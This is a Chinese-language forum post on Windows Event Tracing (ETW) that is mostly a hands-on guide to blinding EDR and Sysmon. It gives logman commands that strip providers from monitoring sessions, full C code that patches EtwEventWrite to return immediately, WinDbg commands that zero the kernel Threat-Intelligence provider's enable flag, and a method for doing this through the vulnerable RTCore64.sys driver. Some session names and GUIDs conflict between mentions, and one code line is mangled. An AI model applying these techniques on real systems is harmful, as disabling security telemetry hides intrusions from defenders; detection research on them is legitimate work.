找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

4666

积分

1

好友

636

主题
发表于 2 小时前 | 查看: 1| 回复: 0

微软将ETW定义为操作系统提供的通用、高速追踪设施。这意味着它允许 Windows 从用户模式应用程序和内核模式驱动程序中收集详细的事件数据。ETW使用缓冲和日志记录机制,为用户模式应用程序和内核模式驱动程序生成的事件提供追踪功能。由于ETW提供了传输遥测数据的安全通道,这使得EDR深度依赖于它。这些遥测数据是EDR进行有效威胁检测、记录和响应的关键。

Etw基本了解

所以,如果我们能够破坏ETW,就可以直接让EDR“致盲”。

ETW主要由四个核心模块构成:提供者(Provider)、消费者(Consumer)、会话(Session)和控制器(Controller)。

首先来看ETW提供者。它负责生成事件并将其写入到ETW追踪会话中。Windows 系统本身已有内核提供者,但不仅限于此。用户应用程序也可以定义自己的提供者,并配有独特的事件。

消费者用于消费ETW追踪会话中的事件。消费者一般会订阅ETW追踪会话,然后开始实时处理事件。除了订阅会话,它也可以通过读取已存储的日志文件来工作。消费者可以由用户或应用程序创建。一个消费者可以订阅多个ETW追踪会话

控制器用于控制ETW追踪会话的启动和停止,管理事件的流出,并设置存储事件数据的日志文件。 它还负责管理会话缓冲区,并追踪统计信息,例如使用了多少缓冲区,已传递或丢失了多少数据。

现在,让我们使用 logman 工具来查询ETW提供者。如果要获取内置ETW提供者的数量,可以使用以下命令:

logman query providers | find /c /v ""

如下图所示,我们得知系统内置的ETW提供者数量为 1175 个。

使用logman命令查询ETW提供者总数

现在,我们列出所有内置的ETW提供程序及其对应的 GUID

logman query providers

logman命令列出所有ETW提供者及GUID

获取提供者列表后,我们可以专注于查找特定提供者所发出的事件类型,从而了解它正在监控哪些活动。可以通过以下命令查询:

logman query providers <提供者名称>

在下面的示例中,我们查询 Microsoft-Windows-Threat-Intelligence 提供者及其具备的功能。该提供者会记录本地和远程进程中的内存分配以及内存保护等关键安全事件。

查询Microsoft-Windows-Threat-Intelligence提供者的详细信息

接下来,我们来查询系统中正在运行的ETW追踪会话。这些会话用于实时收集遥测数据。以下命令列出了ETW追踪会话及其运行状态:

logman query -ets

下图显示了我们熟悉的 Sysmon 追踪会话,它使用了两个会话:SYSMON TRACESysmonBtTwSession(原文为 SysmonDnsEtwSession)。SYSMON TRACE 会话正在捕获由Sysmon驱动程序发送的内核回调数据,如进程创建、线程创建、映像加载、注册表修改、对象操作及微过滤器操作等。这些遥测数据最终都会被写入 SYSMON TRACE 会话。
另一个是 SysmonBtTwSession 会话,该会话用于收集 DNS 遥测数据。这个提供者可以使用 logman 工具在用户模式下被禁用。

使用logman查询所有ETW追踪会话,发现Sysmon相关会话

需要注意的是,一些EDR产品会隐藏它们的追踪会话以进行自我保护。例如 Windows Defender,我们在 logman 的输出中通常看不到它的 DefenderAuditLoggerDefenderAPILogger 会话。它们没有出现是因为这些会话受到保护,阻止了用户模式的直接访问。

现在,我们列出指定追踪会话中所包含的ETW提供者。
以下示例中,我们列出 SymantecMailToSession 会话中的提供者。可以看到 Microsoft-Windows-DNS-Client 是该会话的提供者。这意味着会话通过此提供者来收集 DNS 遥测数据。

logman query SymantecMailToSession -ets

查询特定ETW会话中的提供者

现在,让我们看看如何从用户模式禁用ETW提供者。
在此之前,需要了解普通ETW提供者和安全ETW提供者的区别。普通ETW提供者可以从用户模式访问和修改,它们很容易遭到篡改或禁用。而EDR使用的安全ETW提供者受到用户模式的保护,如果没有以 Protected Process Light (PPL) 方式运行的服务或进程,则无法轻易禁用或查询。
因此,要禁用普通的ETW提供者,我们可以使用如下命令:

logman update trace <会话名称> -p <提供者名称> -ets
logman update trace SysmonDnsEtwSession -p Microsoft-Windows-DNS-Client -ets

如下图所示,禁用之后,我们重新查询 SysmonDnsEtwSession 追踪会话,其中已经没有ETW提供程序了。这意味着 Sysmon 将无法再获取 DNS 遥测数据。

使用logman命令从会话中移除ETW提供者

接下来,我们将使用一个 Javascript 脚本来枚举系统中所有的ETW消费者(包括安全提供者)。对于每一个进程,它将显示它作为消费者正在从哪些会话收集ETW事件,以及有哪些提供者正在向这些会话写入事件。
脚本地址:https://github.com/trailofbits/WinDbg-Js/blob/main/EtwKernelRoutines.js

在WinDbg中,使用以下命令来枚举所有ETW消费者及其会话:

dx @$cursession.Processes.Select(p=> @$scriptContents.EtwConsumersForProcess(p))

使用WinDbg脚本枚举所有进程的ETW消费者信息

如上图所示,svchost.exe 作为一个ETW消费者,其追踪会话的名称为 UBPM。ETW提供程序产生遥测数据,最终写入 UBPM 追踪会话,由 svchost.exe 进行消费。

如果我们只想枚举特定进程的ETW信息,则需要指定 PID。例如,查看 Sysmon 进程(假设PID为0x918):

dx @$scriptContents.EtwConsumersForProcess(@$cursession.Processes.Where(p => p.Id == 0x918).First())

可以看到 Sysmon 关联了两个追踪会话:SYSMON TRACE 会话没有关联提供程序,而 SysmonDnsEtEvent 会话有一个ETW提供程序,其GUID为 {C193126E-7EEA-49A9-A3FE-A3780B3DCDB4D}

枚举指定进程(如Sysmon)的ETW消费者信息

我们可以查询该GUID对应哪个ETW提供程序:

logman query providers {1C95126E-7BEA-49A9-A3FE-A378B03DDB4D}

可以看到,该GUID对应的正是 Microsoft-Windows-DNS-Client

根据GUID查询对应的ETW提供者名称

那么,我们可以像之前一样,使用 logman update trace 命令将其从会话中移除,使Sysmon无法捕获DNS查询数据。

用户层Bypass ETW

现在,我们来看看如何通过修补 EtwEventWrite API函数来禁用用户模式ETW提供程序的事件生成。该API函数被用户模式ETW提供程序用来将事件写入EDR消费者所在的会话中,以便检测我们的操作,例如进程中是否正在加载 .Net 脚本或程序集。

实现思路如下:

  1. 通过 GetModuleHandle 配合 GetProcAddress 函数获取 EtwEventWrite 函数的地址。该函数在 Ntdll 模块中导出。
  2. 修改其内存页的保护属性,从 RX(可读可执行)更改为 RW(可读可写)。这里使用 VirtualProtect 或底层的 NtProtectVirtualMemory 函数。
  3. 修补 EtwEventWrite 函数的开头指令,写入操作码 0x48, 0x33, 0xc0, 0xc3。该操作码对应 xor rax, rax; ret。在x64调用约定中,RAX 寄存器存储返回值,将其清零并返回,意味着函数调用“成功”且不执行任何实际操作。

以下是实现代码:

#include<windows.h>
#include<stdio.h>

typedef NTSTATUS(NTAPI*  fnNtProtectVirtualMemory)(
    IN HANDLE ProcessHandle,
    IN OUT PVOID* BaseAddress,
    IN OUT PSIZE_T RegionSize,
    IN ULONG NewProtection,
    OUT PULONG OldProtection
);
typedef NTSTATUS(NTAPI* fnNtWriteVirtualMemory)(
    _In_ HANDLE ProcessHandle,
    _In_opt_ PVOID BaseAddress,
    _In_reads_bytes_(NumberOfBytesToWrite) PVOID Buffer,
    _In_ SIZE_T NumberOfBytesToWrite,
    _Out_opt_ PSIZE_T NumberOfBytesWritten
);
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif

void PatchEtw(HANDLE hProcess){
//获取到EtwEventWrite函数地址
    HMODULE NtdllModule = GetModuleHandleA("ntdll.dll");
    PVOID pAddress = GetProcAddress(NtdllModule,"EtwEventWrite");

//定义Patch的字节 //xor rax rax ret
char etwPath[] = { 0x48,0x33,0xc0,0xc3 };

    PVOID baseAddress = pAddress; // 需要一个变量来存放地址
    SIZE_T regionSize = 4; // 明确指定 Patch 大小
    ULONG oldProtect = 0;

//获取到NtProtectVirtualMemory函数地址和NtWriteVirtualMemory地址
    fnNtWriteVirtualMemory NtWriteVirtualMemory = (fnNtWriteVirtualMemory)GetProcAddress(NtdllModule, "NtWriteVirtualMemory");
    fnNtProtectVirtualMemory NtProtectVirtualMemory = (fnNtProtectVirtualMemory)GetProcAddress(NtdllModule, "NtProtectVirtualMemory");

//修改EtwEventWrite保护属性
    DWORD OldProtect = NULL;
    NTSTATUS status = NtProtectVirtualMemory(
        hProcess,
        &baseAddress,
        ®ionSize,
        PAGE_EXECUTE_READWRITE,
        &oldProtect
    );
//写入修补字节
    SIZE_T NumberOfBytes = NULL;
    NtWriteVirtualMemory(hProcess, pAddress, (PVOID)etwPath, sizeof(etwPath),&NumberOfBytes);
//将保护权限改回来
    NTSTATUS status1 = NtProtectVirtualMemory(
        hProcess,
        &baseAddress,
        ®ionSize,
        PAGE_EXECUTE_READ,
        &oldProtect
    );
}

int main()
{
//打开当前进程的句柄
    HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE,
        FALSE,
        GetCurrentProcessId());
//Patch Etw
    PatchEtw(hProcess);
}

IDA中查看EtwEventWrite函数的反汇编代码
调试器中确认EtwEventWrite函数已被Patch为xor rax,rax; ret

效果测试:
我们编写一个加载CLR(.NET运行时)的代码。加载CLR通常会触发 Microsoft-Windows-DotNETRuntime 提供者通过 EtwEventWrite API向ETW会话写入.NET事件。我们通过对比Patch前后的事件捕获情况来验证效果。

首先,在不修补 EtwEventWrite 的情况下进行测试。在运行测试程序前,需要启动一个用于拦截.NET事件的ETW会话:

logman start DotNETevents -p Microsoft-Windows-DotNETRuntime 0x1CCBD 0x5 -ets -ct perf

该命令启动一个名为 DotNETevents 的ETW会话,监听 Microsoft-Windows-DotNETRuntime 提供者,关键字 0x1CCBD 用于过滤特定类型的.NET事件。

然后运行我们的CLR加载程序(PID为304),之后停止追踪会话:

logman stop DotNETevents -ets

启动ETW会话、运行程序并停止会话的命令行过程

会话会生成一个 .etl 日志文件,我们可以使用 tracerpt 工具将其转换为可读的XML格式:

tracerpt DotNETevents.etl

使用tracerpt工具转换ETL日志文件

打开生成的 dumpfile.xml,搜索 ProcessID="304" 的事件。可以看到,CLR加载事件被成功捕获。

XML日志中显示未Patch时成功捕获到CLR加载事件

现在,启用 PatchEtw 函数后,重复上述步骤。再次在日志中搜索测试进程的PID(此时为296),会发现相关的事件已经消失,证明了Patch的有效性。

主函数中调用PatchEtw后再加载CLR
Patch后运行程序,ETW会话已无法捕获事件

内核层Bypass ETW

现在让我们将目光转向内核模式的ETW提供程序。我们从其注册机制开始分析。将 Ntoskrnl.exe 加载到 IDA PRO 中,查看导出函数 EtwRegister 的交叉引用,可以发现在系统初始化过程中,有大量调用用于注册各种内核提供程序。

IDA中查看EtwRegister函数的交叉引用

例如,在某个函数中,它正在注册一个GUID为 INTSTEER_ETW_PROVIDER 的提供程序。EtwRegister 的最后一个参数是输出参数,函数执行后,会在此参数指向的地址中写入一个注册句柄(RegHandle)。这个句柄是后续调用 EtwWriteEtwWriteEx 函数向ETW会话写入事件的必要凭证。

IDA反汇编显示调用EtwRegister注册提供程序
查看INTSTEER_ETW_PROVIDER的GUID值

EtwpInitialize 等系统初始化例程中,注册了大量的内核提供程序,例如磁盘(DiskProvGuid)、网络(NetProvGuid)等,这些都可以通过 logman query providers 命令查看到。

EtwpInitialize函数中注册大量内核ETW提供程序

对于第三方驱动程序,如杀毒软件的过滤器驱动(例如 WdFilter.sys),它们也会在驱动入口函数中调用 EtwRegister 来注册自己的提供程序。例如,WdFilter 注册的提供程序是 Microsoft-Antimalware-AMFilter,其注册句柄为 Microsoft_Antimalware_AMFilter_Context。该句柄随后在驱动程序的各个事件上报函数(如 McGenEventWrite_EtwWriteTransfer)中被使用。

WdFilter驱动中调用EtwRegister注册自身提供程序
WdFilter驱动中引用注册句柄来写入事件

利用Windbg手动禁用ETW提供程序
现在,我们看看如何在内核调试器 Windbg 中手动禁用某个ETW提供程序。这里以系统内核的威胁情报提供程序为例。

  1. 定位注册句柄地址:首先获取 EtwThreatIntProvRegHandle 这个全局符号的地址。
    x nt!EtwThreatIntProvRegHandle

    查询内核中EtwThreatIntProvRegHandle符号地址

  2. 解析ETW_REG_ENTRY结构:对句柄地址解引用,获取其指向的 _ETW_REG_ENTRY 结构。
    dq ffff807`79619998 L1
    dt nt!_ETW_REG_ENTRY <上面得到的值>

    解析ETW_REG_ENTRY结构

  3. 找到GUID_ENTRY:在 _ETW_REG_ENTRY 结构偏移 0x20 处是 GuidEntry 成员,指向 _ETW_GUID_ENTRY 结构。
    dq <RegHandle_Value>+0x20 L1
    dt nt!_ETW_GUID_ENTRY <得到的GuidEntry地址>

    获取并查看ETW_GUID_ENTRY结构

  4. 定位启用信息:在 _ETW_GUID_ENTRY 结构偏移 0x60 处是 ProviderEnableInfo 成员,它是一个 _TRACE_ENABLE_INFO 结构,其中的 IsEnabled 字段(偏移0)决定了提供程序是否启用。
    dt nt!_TRACE_ENABLE_INFO <GuidEntry地址>+0x60

    查看TRACE_ENABLE_INFO结构,IsEnabled值为1表示启用

  5. 修改IsEnabled字段:将 IsEnabled 的值从 1 改为 0 即可禁用该提供程序。
    eb <GuidEntry地址>+0x60 0x00

    使用eb命令将IsEnabled修改为0

  6. 验证状态:可以使用一条组合命令快速查看或修改状态。
    • 查看状态:
      db poi(poi(nt!EtwThreatIntProvRegHandle)+0x20)+0x60 L1

      通过组合命令直接读取提供程序启用状态

    • 启用/禁用:
      eb poi(poi(nt!EtwThreatIntProvRegHandle)+0x20)+0x60 01 //启用
      eb poi(poi(nt!EtwThreatIntProvRegHandle)+0x20)+0x60 00 //禁用

      使用eb命令重新启用ETW提供程序

利用漏洞驱动(RTCore64.sys)在内核中禁用ETW

手动调试的方法虽然直观,但实战中我们需要通过程序化手段实现。这里以利用存在任意读写漏洞的 RTCore64.sys 驱动程序为例,演示如何编程禁用ETW提供程序。

思路如下:

  1. 解析偏移量:首先需要获取关键内核结构在 ntoskrnl.exe 中的偏移量,包括 EtwThreatIntProvRegHandle 的偏移、_ETW_REG_ENTRYGuidEntry 的偏移、_ETW_GUID_ENTRYProviderEnableInfo 的偏移。这可以通过解析微软的PDB符号文件来完成。
    从PDB符号获取关键结构偏移量的代码示例
  2. 计算内存地址:利用驱动漏洞的任意读能力,结合 ntoskrnl 的基地址和第一步得到的偏移量,层层递进地读取内存,最终计算出 ProviderEnableInfo 的地址。
    • 获取 ntoskrnl 基地址。
    • EtwThreatIntProvRegHandle 地址 = 基地址 + 偏移量A。
    • 读取该地址处的值,得到 _ETW_REG_ENTRY 地址。
    • _ETW_GUID_ENTRY 地址 = _ETW_REG_ENTRY 地址 + GuidEntry偏移量(0x20)。
    • ProviderEnableInfo 地址 = _ETW_GUID_ENTRY 地址 + ProviderEnableInfo偏移量(0x60)。
      利用驱动漏洞读取内核内存以计算关键地址的代码逻辑
  3. 读取/修改状态:读取 ProviderEnableInfo 地址处的一个字节(即 IsEnabled 的值)。根据用户传入的参数(-s 查看状态,-d 禁用,-e 启用),通过驱动漏洞的任意写能力修改该字节为 0x000x01
    根据参数读取或修改ETW提供程序启用状态的代码

执行效果:
执行工具传入 -d 参数禁用提供程序:

ETWProvDisable.exe -d ntoskrnl.exe

运行工具禁用ETW提供程序

再次执行工具传入 -s 参数查看状态,确认 IsEnabled 值已变为 0x00

ETWProvDisable.exe -s ntoskrnl.exe

再次运行工具确认ETW提供程序已被禁用

总结

本文深入探讨了Windows ETW(事件追踪)技术的架构与工作原理,并详细演示了在用户层和内核层对其进行攻击和绕过的多种技术。从使用系统自带工具 logman 查询和操作普通会话,到通过逆向工程了解内核及第三方驱动的ETW注册机制,再到利用内存Patch、内核调试以及漏洞驱动实现实际的禁用操作,我们完成了一次完整的安全/渗透技术研究链条。理解这些底层机制,对于逆向工程人员深入分析恶意软件行为、对于防守方加固系统/内核级监控都具有重要意义。希望这篇文章能为你在云栈社区的相关技术探索中提供有价值的参考。




上一篇:微信ClawBot插件今日正式上线,OpenClaw接入微信,AI Agent生态落地新进展
下一篇:信息论视角下的数位匹配游戏:揭秘保证5步内猜中的Minimax策略与C++实现
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-3-23 06:38 , Processed in 0.533544 second(s), 41 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表